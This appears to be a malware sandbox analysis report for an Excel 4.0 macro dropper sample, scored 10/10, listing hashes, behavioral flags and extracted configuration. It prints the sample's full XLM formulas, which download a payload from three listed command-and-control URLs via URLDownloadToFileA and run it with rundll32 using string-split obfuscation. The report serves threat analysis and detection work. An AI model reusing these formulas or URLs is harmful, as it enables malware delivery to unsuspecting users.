Overview

overview

10

Static

static

10

?i=1jiqlaygt.xlsm

windows7_x64

10

?i=1jiqlaygt.xlsm

windows10-2004_x64

10

Sharing

Copy URL Twitter E-mail

General

  • Target
    ?i=1jiqlaygt
  • Size 83KB
  • Sample220419-ez8llacadn
  • SHA256 2243ada22b4c83d5f5470d40be8a9a88035c7264ad4404dad0776975a93da710
  • MD5 SHA1 SHA512
Score
10/10
macroxlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

  • http://mail.emilyanncain.com/cgi-bin/A7NT3ENvn/

  • https://wordpress.baishuweb.com/wp-includes/10q0ice6/

  • http://monorailegypt.com/wp-admin/6uBf9CCfZRMh/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://mail.emilyanncain.com/cgi-bin/A7NT3ENvn/","..\erum.ocx",0,0) =IF('EWDFFEFAD'!E18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://wordpress.baishuweb.com/wp-includes/10q0ice6/","..\erum.ocx",0,0)) =IF('EWDFFEFAD'!E20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://monorailegypt.com/wp-admin/6uBf9CCfZRMh/","..\erum.ocx",0,0)) =IF('EWDFFEFAD'!E22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\rundll32.exe ..\erum.ocx,D""&""l""&""lR""&""egister""&""Serve""&""r") =RETURN()

Extracted

Language

  • xlm4.0

Source
URLs
  • xlm40.dropper

    http://mail.emilyanncain.com/cgi-bin/A7NT3ENvn/

Targets

    • Target
      ?i=1jiqlaygt
    • Size 83KB
    • SHA256 2243ada22b4c83d5f5470d40be8a9a88035c7264ad4404dad0776975a93da710
    • MD5 SHA1 SHA512
    Score
    10/10

    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    behavioral1behavioral2

MITRE ATT&CK Enterprise v6

Tasks